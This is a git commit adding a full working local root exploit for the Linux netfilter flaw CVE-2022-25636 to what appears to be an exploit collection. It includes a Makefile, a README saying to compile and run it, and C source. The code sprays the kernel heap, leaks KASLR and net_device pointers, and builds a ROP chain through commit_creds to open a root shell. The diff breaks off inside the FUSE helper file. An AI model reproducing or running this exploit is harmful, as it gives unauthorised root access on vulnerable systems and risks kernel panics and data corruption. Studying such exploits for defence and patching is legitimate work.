add CVE-2022-25636 Linux 本地提权
This commit is contained in:
parent
f921960329
commit
3ee4545e3e
11
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/Makefile
Normal file
11
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/Makefile
Normal file
@ -0,0 +1,11 @@
|
||||
LDFLAGS = -no-pie -I/usr/include/fuse -lfuse -pthread -lmnl -lnftnl
|
||||
CC = gcc
|
||||
|
||||
all: exploit
|
||||
|
||||
.PHONY: exploit
|
||||
exploit:
|
||||
$(CC) exploit.c fakefuse.c util.c -o exploit $(CFLAGS) $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -f exploit
|
10
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/README.md
Normal file
10
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/README.md
Normal file
@ -0,0 +1,10 @@
|
||||
# CVE-2022-25636 Linux 本地提权
|
||||
This is my exploit for `CVE-2022-25636`.
|
||||
I tested it against Ubuntu 21.10 with kernel `5.13.0-30`.
|
||||
Works about `~40%` of the time, in the other cases you likely get a kernel panic.
|
||||
The exploit might corrupt important data on heap, after an unsuccessful attempt it's best to reboot.
|
||||
|
||||
## USAGE
|
||||
编译完成后,直接运行即可
|
||||
|
||||

|
668
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/exploit.c
Normal file
668
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/exploit.c
Normal file
@ -0,0 +1,668 @@
|
||||
#define _GNU_SOURCE
|
||||
#include "fakefuse.h"
|
||||
#include "util.h"
|
||||
#include <arpa/inet.h>
|
||||
#include <asm/types.h>
|
||||
#include <err.h>
|
||||
#include <libmnl/libmnl.h>
|
||||
#include <libnftnl/chain.h>
|
||||
#include <libnftnl/expr.h>
|
||||
#include <libnftnl/rule.h>
|
||||
#include <libnftnl/table.h>
|
||||
#include <linux/ethtool.h>
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/rtnetlink.h>
|
||||
#include <linux/sockios.h>
|
||||
#include <net/if.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// #define DEBUG
|
||||
#define SPRAY_128 500
|
||||
#define SPRAY_128_FREE_IDX 400
|
||||
#define SPRAY_192 500
|
||||
#define SPRAY_192_FREE_IDX 400
|
||||
#define SPRAY_4K 1000
|
||||
#define LEAK_HEAP_MAX_TRIES 10
|
||||
|
||||
void shell();
|
||||
|
||||
int spray_128_qids[SPRAY_128], spray_192_qids[SPRAY_192],
|
||||
spray_4k_qids[SPRAY_4K];
|
||||
int child_done = 0;
|
||||
|
||||
pthread_t thids[SPRAY_4K];
|
||||
uint64_t setxattr_bufs[SPRAY_4K], setxattr_bufs_2[SPRAY_4K];
|
||||
|
||||
const char *spray1_path = "1", *spray2_path = "2";
|
||||
char *fargs_fuse[] = {"exploit", "/tmp/foo", NULL};
|
||||
|
||||
static const struct fuse_operations fuse_ops = {
|
||||
.getattr = fuse_getattr, .readdir = fuse_readdir, .read = fuse_read};
|
||||
|
||||
uint64_t child_net_device_leak = -1, net_device_leak = -1;
|
||||
uint64_t kaslr_base;
|
||||
uint64_t stack_pivot_gadget = 0xffffffffae48c7d4 - 0xffffffffae400000;
|
||||
uint64_t pop_pop_pop_ret = 0xffffffffae5aafed - 0xffffffffae400000;
|
||||
uint64_t pop_rdi_ret = 0xffffffffae495040 - 0xffffffffae400000;
|
||||
uint64_t prepare_kernel_cred = 0xffffffffae4d4590 - 0xffffffffae400000;
|
||||
uint64_t commit_creds = 0xffffffffae4d4330 - 0xffffffffae400000;
|
||||
uint64_t xor_dh_dh_ret = 0xffffffffae908f19 - 0xffffffffae400000;
|
||||
uint64_t mov_rdi_rax_jne_ret = 0xffffffffae9c01f4 - 0xffffffffae400000;
|
||||
uint64_t pop_r12_pop_r15_ret = 0xffffffffae49503d - 0xffffffffae400000;
|
||||
uint64_t kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq =
|
||||
0xffffffffaf201006 - 0xffffffffae400000;
|
||||
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
|
||||
|
||||
void vuln(int oob_writes, int legit_writes) {
|
||||
// setup table
|
||||
struct nftnl_table *table = nftnl_table_alloc();
|
||||
nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x");
|
||||
nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
|
||||
|
||||
// chain
|
||||
struct nftnl_chain *chain = nftnl_chain_alloc();
|
||||
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "x");
|
||||
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "y");
|
||||
nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS);
|
||||
nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 10);
|
||||
nftnl_chain_set_str(chain, NFTNL_CHAIN_DEV, "lo");
|
||||
nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");
|
||||
|
||||
struct nftnl_rule *rule = nftnl_rule_alloc();
|
||||
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "x");
|
||||
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "y");
|
||||
|
||||
struct nftnl_expr *exprs[128];
|
||||
int exprid = 0;
|
||||
|
||||
exprs[exprid] = nftnl_expr_alloc("meta");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_KEY, NFT_META_PROTOCOL);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_DREG, NFT_REG_1);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
|
||||
exprs[exprid] = nftnl_expr_alloc("cmp");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
|
||||
nftnl_expr_set_u16(exprs[exprid], NFTNL_EXPR_CMP_DATA, 8);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
|
||||
exprs[exprid] = nftnl_expr_alloc("payload");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_BASE,
|
||||
NFT_PAYLOAD_NETWORK_HEADER);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_OFFSET, 16);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_LEN, 4);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
|
||||
exprs[exprid] = nftnl_expr_alloc("cmp");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_DATA, 0x0200007f);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
|
||||
// with these we can control the targeted kmalloc size
|
||||
for (int i = 0; i < legit_writes; i++) {
|
||||
exprs[exprid] = nftnl_expr_alloc("immediate");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
exprs[exprid] = nftnl_expr_alloc("dup");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
}
|
||||
|
||||
// oob writes
|
||||
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes;
|
||||
unaccounted_dup++) {
|
||||
exprs[exprid] = nftnl_expr_alloc("dup");
|
||||
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
|
||||
nftnl_rule_add_expr(rule, exprs[exprid]);
|
||||
exprid++;
|
||||
}
|
||||
|
||||
// serialize
|
||||
char buf[MNL_SOCKET_BUFFER_SIZE];
|
||||
|
||||
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
|
||||
int seq = 0;
|
||||
|
||||
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
struct nlmsghdr *nlh;
|
||||
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
|
||||
NFT_MSG_NEWTABLE, NFPROTO_NETDEV, 0, seq++);
|
||||
nftnl_table_nlmsg_build_payload(nlh, table);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
|
||||
NFT_MSG_NEWCHAIN, NFPROTO_NETDEV,
|
||||
NLM_F_CREATE, seq++);
|
||||
nftnl_chain_nlmsg_build_payload(nlh, chain);
|
||||
|
||||
mnl_attr_put_u32(nlh, NFTA_CHAIN_FLAGS, htonl(2));
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
|
||||
NFT_MSG_NEWRULE, NFPROTO_NETDEV,
|
||||
NLM_F_CREATE | NLM_F_APPEND, seq++);
|
||||
nftnl_rule_nlmsg_build_payload(nlh, rule);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
|
||||
if (nl == NULL) {
|
||||
err(1, "mnl_socket_open");
|
||||
}
|
||||
|
||||
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
|
||||
mnl_nlmsg_batch_size(batch)) < 0) {
|
||||
err(1, "mnl_socket_send");
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
4k spray using setxattr
|
||||
*/
|
||||
// Setup setxattr spray to leak kaslr
|
||||
void setup_setxattr() {
|
||||
uint64_t mmap_addr = 0x50000000;
|
||||
|
||||
system("touch /tmp/foo.txt");
|
||||
|
||||
int fd = open("/tmp/foo/1", O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("open() failed");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
for (int i = 0; i < SPRAY_4K; i++) {
|
||||
setxattr_bufs[i] =
|
||||
(uint64_t)mmap((void *)mmap_addr, 0x1000, PROT_READ | PROT_WRITE,
|
||||
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
if (setxattr_bufs[i] != (uint64_t)mmap_addr) {
|
||||
perror("[!] setup_setxattr(): mmap error 1");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset((void *)(setxattr_bufs[i]), 0x42, 0x1000);
|
||||
memset(((void *)(setxattr_bufs[i])) + 0x1000 - 700, 0x0, 700);
|
||||
|
||||
((uint64_t *)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
|
||||
((uint64_t *)(setxattr_bufs[i]))[104] =
|
||||
child_net_device_leak + 0xc8; // set dev_addr ptr
|
||||
((uint64_t *)(setxattr_bufs[i]))[78] =
|
||||
0x0808080800000000; // set addr_len to '0x08'
|
||||
((uint64_t *)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
|
||||
|
||||
if (((uint64_t)mmap((void *)(setxattr_bufs[i] + 0x1000), 0x1000,
|
||||
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, fd,
|
||||
0)) != (setxattr_bufs[i] + 0x1000)) {
|
||||
perror("[!] setup_setxattr(): mmap error 2");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mmap_addr += 0x2000;
|
||||
}
|
||||
}
|
||||
|
||||
void *setxattr_sprayer(void *i) {
|
||||
setxattr("/tmp/foo.txt", "user.spray", (void *)setxattr_bufs[*(int *)i] + 16,
|
||||
0x1000, XATTR_CREATE);
|
||||
}
|
||||
|
||||
void spray_4k() {
|
||||
for (int i = 0; i < SPRAY_4K; i++) {
|
||||
int *arg = malloc(sizeof(int));
|
||||
*arg = i;
|
||||
pthread_create(&thids[i], NULL, setxattr_sprayer, arg);
|
||||
}
|
||||
}
|
||||
/* */
|
||||
|
||||
/*
|
||||
4k spray using setxattr - 2
|
||||
*/
|
||||
// Setup setxattr spray to rop
|
||||
void setup_setxattr_2() {
|
||||
uint64_t mmap_addr = 0x60000000;
|
||||
|
||||
system("touch /tmp/foo.txt");
|
||||
|
||||
int fd = open("/tmp/foo/2", O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("open() failed");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
for (int i = 0; i < SPRAY_4K; i++) {
|
||||
setxattr_bufs_2[i] =
|
||||
(uint64_t)mmap((void *)mmap_addr, 0x1000, PROT_READ | PROT_WRITE,
|
||||
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
if (setxattr_bufs_2[i] != (uint64_t)mmap_addr) {
|
||||
perror("[!] setup_setxattr_2(): mmap error 1");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset((void *)(setxattr_bufs_2[i]), 0x42, 0x1000);
|
||||
memset(((void *)(setxattr_bufs_2[i])) + 0x1000 - 700, 0x0, 700);
|
||||
|
||||
int k = 2;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x6f6c; // dev->name = "lo"
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x4444444444444444;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_rdi_ret;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + prepare_kernel_cred;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + xor_dh_dh_ret;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + pop_pop_pop_ret;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0xffffffffffffffff;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + mov_rdi_rax_jne_ret;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = kaslr_base + commit_creds;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] =
|
||||
kaslr_base + kpti_trampoline_pop_rax_pop_rdi_swapgs_iretq;
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x0; // rax
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = 0x0; // rdi
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_rip; // user_rip
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_cs; // user_cs
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_rflags; // user_rflags
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_sp; // user_sp
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[k++] = user_ss; // user_ss
|
||||
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[28] = 0x43434343; // ifindex
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[68] =
|
||||
(net_device_leak + 0x218) - 0xc8; // *ethtool_ops ptr
|
||||
((uint64_t *)(setxattr_bufs_2[i]))[69] =
|
||||
kaslr_base + stack_pivot_gadget; // *func ptr
|
||||
|
||||
if (((uint64_t)mmap((void *)(setxattr_bufs_2[i] + 0x1000), 0x1000,
|
||||
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, fd,
|
||||
0)) != (setxattr_bufs_2[i] + 0x1000)) {
|
||||
perror("[!] setup_setxattr_2(): mmap error 2");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mmap_addr += 0x2000;
|
||||
}
|
||||
}
|
||||
|
||||
void *setxattr_sprayer_2(void *i) {
|
||||
if (setxattr("/tmp/foo.txt", "user.spray",
|
||||
(void *)setxattr_bufs_2[*(int *)i] + 16, 0x1000,
|
||||
XATTR_CREATE) == -1) {
|
||||
perror("setxattr");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
void spray_4k_2() {
|
||||
for (int i = 0; i < SPRAY_4K; i++) {
|
||||
int *arg = malloc(sizeof(int));
|
||||
*arg = i;
|
||||
pthread_create(&thids[i], NULL, setxattr_sprayer_2, arg);
|
||||
}
|
||||
}
|
||||
/* */
|
||||
|
||||
/*
|
||||
128 spray using msg_msg
|
||||
*/
|
||||
void spray_128() {
|
||||
char buffer[0x4000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (int i = 0; i < SPRAY_128; i++) {
|
||||
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
send_msg(spray, message, 128 - 0x30, 0);
|
||||
spray_128_qids[i] = spray;
|
||||
}
|
||||
}
|
||||
/* */
|
||||
|
||||
/*
|
||||
192 spray using msg_msg
|
||||
*/
|
||||
void spray_192() {
|
||||
char buffer[0x4000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (int i = 0; i < SPRAY_192; i++) {
|
||||
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
send_msg(spray, message, 192 - 0x30, 0);
|
||||
spray_192_qids[i] = spray;
|
||||
}
|
||||
}
|
||||
|
||||
void delete_192(int i) {
|
||||
char buf[0x1000] = {0};
|
||||
get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
|
||||
}
|
||||
/* */
|
||||
|
||||
/*
|
||||
128 spray using msg_msgseg
|
||||
*/
|
||||
void spray_128_msgseg() {
|
||||
char buffer[0x4000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (int i = 0; i < SPRAY_128; i++) {
|
||||
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
// this will allocate a 4k msg_msg and a 128 msg_msgseg
|
||||
send_msg(spray, message, 0x1080 - 0x40, 0);
|
||||
spray_128_qids[i] = spray;
|
||||
}
|
||||
}
|
||||
|
||||
void delete_128(int i) {
|
||||
char buf[0x1000] = {0};
|
||||
get_msg(spray_128_qids[i], buf, 128 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
|
||||
}
|
||||
/* */
|
||||
|
||||
void rop() {
|
||||
struct ethtool_cmd ecmd;
|
||||
struct ifreq ifr;
|
||||
int fd;
|
||||
|
||||
memset(&ecmd, 0, sizeof(ecmd));
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
|
||||
perror("socket()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ecmd.cmd = ETHTOOL_GSET;
|
||||
ifr.ifr_data = (caddr_t)&ecmd;
|
||||
|
||||
strncpy(ifr.ifr_name, "lo", IF_NAMESIZE);
|
||||
|
||||
ifr.ifr_name[IF_NAMESIZE - 1] = '\0';
|
||||
if (!(ioctl(fd, SIOCETHTOOL, &ifr) < 0)) {
|
||||
perror("ioctl(SIOCETHTOOL)");
|
||||
exit(1);
|
||||
}
|
||||
puts("[+] ioctl(SIOCETHTOOL) done");
|
||||
}
|
||||
|
||||
uint64_t check_heap_leak() {
|
||||
char buffer[0x4000] = {0};
|
||||
uint64_t leak = -1;
|
||||
|
||||
for (int i = 0; i < SPRAY_128; i++) {
|
||||
if (i == SPRAY_128_FREE_IDX)
|
||||
continue;
|
||||
|
||||
get_msg(spray_128_qids[i], buffer, 0x1080 - 0x40, 0, IPC_NOWAIT);
|
||||
|
||||
if ((((uint64_t *)buffer)[507] & 0xffff000000000000) == 0xffff000000000000)
|
||||
leak = ((uint64_t *)buffer)[507];
|
||||
}
|
||||
return leak;
|
||||
}
|
||||
|
||||
uint64_t do_heap_leak() {
|
||||
int i = 0;
|
||||
uint64_t leak;
|
||||
|
||||
do {
|
||||
#ifdef DEBUG
|
||||
printf("[*] leak net_device try no. %d\n", ++i);
|
||||
#endif
|
||||
|
||||
spray_128_msgseg();
|
||||
delete_128(SPRAY_128_FREE_IDX);
|
||||
vuln(1, 1);
|
||||
leak = check_heap_leak();
|
||||
} while ((leak == -1) && (i < LEAK_HEAP_MAX_TRIES));
|
||||
|
||||
return leak;
|
||||
}
|
||||
|
||||
int child(void *a) {
|
||||
child_net_device_leak = do_heap_leak();
|
||||
child_done = 1;
|
||||
sleep(10000);
|
||||
}
|
||||
|
||||
void leak_heap(int leak_child) {
|
||||
// Leak child's net_device struct
|
||||
if (leak_child) {
|
||||
void *stack = malloc(200000);
|
||||
int tid = clone(child, stack + 200000,
|
||||
CLONE_VM | CLONE_NEWUSER | CLONE_NEWNET, NULL);
|
||||
|
||||
// Wait for child to exit
|
||||
while (!child_done) {
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
free(stack);
|
||||
|
||||
if (child_net_device_leak == -1) {
|
||||
puts("[!] couldn't leak child's net_device ptr");
|
||||
exit(1);
|
||||
}
|
||||
} else { // Leak parent's net_device struct
|
||||
net_device_leak = do_heap_leak();
|
||||
if (net_device_leak == -1) {
|
||||
puts("[!] couldn't leak parent's net_device ptr");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t kaslr_leak() {
|
||||
struct ifreq *leak = calloc(1, 0x1000);
|
||||
strcpy(leak->ifr_name, "lo");
|
||||
|
||||
int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
|
||||
if (!fd) {
|
||||
perror("socket()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (ioctl(fd, SIOCGIFHWADDR, leak) != 0) {
|
||||
perror("ioctl(SIOCGIFHWADDR)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
uint64_t kaslr_leak = ((uint64_t *)leak->ifr_addr.sa_data)[0];
|
||||
|
||||
if ((kaslr_leak & 0xffffffff00000000) == 0xffffffff00000000)
|
||||
return kaslr_leak;
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
void shell() {
|
||||
// thanks movaps
|
||||
syscall(SYS_execve, "/bin/sh", 0, 0);
|
||||
}
|
||||
|
||||
void save_state() {
|
||||
__asm__(".intel_syntax noprefix;"
|
||||
"mov user_cs, cs;"
|
||||
"mov user_ss, ss;"
|
||||
"mov user_sp, rsp;"
|
||||
"pushf;"
|
||||
"pop user_rflags;"
|
||||
".att_syntax;");
|
||||
}
|
||||
|
||||
int free_netdevice() {
|
||||
char buf[0x300];
|
||||
|
||||
spray_192();
|
||||
delete_192(SPRAY_192_FREE_IDX);
|
||||
vuln(6, 2);
|
||||
|
||||
for (int i = 0; i < SPRAY_192; i++) {
|
||||
if (i == SPRAY_192_FREE_IDX)
|
||||
continue;
|
||||
|
||||
get_msg(spray_192_qids[i], buf, 192 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR);
|
||||
|
||||
if (((uint64_t *)buf)[0] == 0x4141414100000005) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
// Unshare
|
||||
if (geteuid() != 0) {
|
||||
char *args[] = {
|
||||
"unshare",
|
||||
"-Urnm",
|
||||
argv[0],
|
||||
NULL,
|
||||
};
|
||||
execvp("unshare", args);
|
||||
err(1, "unshare re-exec");
|
||||
}
|
||||
|
||||
// Assign to cpu 0
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
|
||||
perror("sched_setaffinity()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Setup FUSE
|
||||
mkdir(MNT_PATH, 0777);
|
||||
pipe(spray1_pipes);
|
||||
|
||||
int pid = fork();
|
||||
if (!pid) {
|
||||
fuse_main(sizeof(fargs_fuse) / sizeof(char *) - 1, fargs_fuse, &fuse_ops,
|
||||
NULL);
|
||||
puts("[!] END OF FUSE MAIN 1");
|
||||
sleep(500);
|
||||
}
|
||||
sleep(2); // Wait for fuse_main
|
||||
|
||||
// Save state to return to userland
|
||||
save_state();
|
||||
|
||||
/*
|
||||
1. Leak heap
|
||||
*/
|
||||
puts("[*] STEP 1: Leak child and parent net_device");
|
||||
leak_heap(0);
|
||||
printf("[+] parent net_device ptr: 0x%lx\n", net_device_leak);
|
||||
|
||||
leak_heap(1);
|
||||
printf("[+] child net_device ptr: 0x%lx\n", child_net_device_leak);
|
||||
|
||||
// Setup 4k setxattr buffer to later realloc net_device and leak kaslr
|
||||
setup_setxattr();
|
||||
|
||||
/*
|
||||
2. Free net_device
|
||||
*/
|
||||
puts("\n[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and "
|
||||
"free net_device");
|
||||
int freed = 0;
|
||||
for (int i = 0; i < 20; i++) {
|
||||
#ifdef DEBUG
|
||||
printf("[*] free net_device try no. %d\n", i);
|
||||
#endif
|
||||
|
||||
if (free_netdevice() != -1) {
|
||||
freed = 1;
|
||||
break;
|
||||
}
|
||||
// usleep(500000);
|
||||
}
|
||||
if (!freed) {
|
||||
puts("[!] couldn't free net_device");
|
||||
exit(1);
|
||||
}
|
||||
puts("[+] net_device struct freed");
|
||||
// sleep(2);
|
||||
|
||||
/*
|
||||
3. Reallocate net_device
|
||||
*/
|
||||
puts("\n[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc "
|
||||
"net_device");
|
||||
spray_4k();
|
||||
sleep(2);
|
||||
|
||||
if (if_nametoindex("lo") == 0x42424242) {
|
||||
puts("[+] obtained net_device struct");
|
||||
} else {
|
||||
puts("[!] couldn't realloc net_device struct");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
4. Leak kaslr
|
||||
*/
|
||||
puts("\n[*] STEP 4: Leak kaslr");
|
||||
// Leak kaslr
|
||||
if ((kaslr_base = kaslr_leak()) == -1) {
|
||||
puts("[!] couldn't leak kaslr");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
|
||||
kaslr_base -= 0x130a420;
|
||||
printf("[*] kaslr base: 0x%lx\n", kaslr_base);
|
||||
|
||||
/*
|
||||
5. Free net_device and realloc it
|
||||
*/
|
||||
puts(
|
||||
"\n[*] STEP 5: Release setxattrs, free net_device, and realloc it again");
|
||||
char buf[SPRAY_4K] = {0};
|
||||
write(spray1_pipes[1], buf, sizeof(buf));
|
||||
|
||||
for (int i = 0; i < SPRAY_4K; i++)
|
||||
pthread_join(thids[i], NULL);
|
||||
|
||||
// Setup 4k setxattr buffers to realloc net_device and start rop
|
||||
setup_setxattr_2();
|
||||
|
||||
spray_4k_2();
|
||||
sleep(2);
|
||||
|
||||
if (if_nametoindex("lo") == 0x43434343) {
|
||||
puts("[+] obtained net_device struct");
|
||||
} else {
|
||||
puts("[!] couldn't realloc net_device struct");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
6. Roppp :)
|
||||
*/
|
||||
puts("\n[*] STEP 6: rop :)");
|
||||
rop();
|
||||
|
||||
return 0;
|
||||
}
|
47
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/fakefuse.c
Normal file
47
98-Linux提权/CVE-2022-25636-Linux 提权漏洞/fakefuse.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include "fakefuse.h"
|
||||
|
||||
int spray1_pipes[2];
|
||||
|
||||
int fuse_read(const char *path, char *buf, size_t size, off_t offset,
|
||||
struct fuse_file_info *fi) {
|
||||
if (strcmp(path + 1, spray1_path) == 0) {
|
||||
char signal;
|
||||
read(spray1_pipes[0], &signal, 1);
|
||||
} else if (strcmp(path + 1, spray2_path) == 0) {
|
||||
sleep(100000);
|
||||
}
|
||||
return size;
|
||||
}
|
||||
|
||||
int fuse_getattr(const char *path, struct stat *stbuf) {
|
||||
int res = 0;
|
||||
|
||||
memset(stbuf, 0, sizeof(struct stat));
|
||||
|
||||
if (strcmp(path, "/") == 0) {
|
||||
stbuf->st_mode = S_IFDIR | 0755;
|
||||
stbuf->st_nlink = 2;
|
||||
} else if (strcmp(path + 1, spray1_path) == 0 ||
|
||||
strcmp(path + 1, spray2_path) == 0) {
|
||||
stbuf->st_mode = S_IFREG | 0444;
|
||||
stbuf->st_nlink = 1;
|
||||
stbuf->st_size = 0x1000;
|
||||
} else {
|
||||
res = -ENOENT;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
int fuse_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||
off_t offset, struct fuse_file_info *fi) {
|
||||
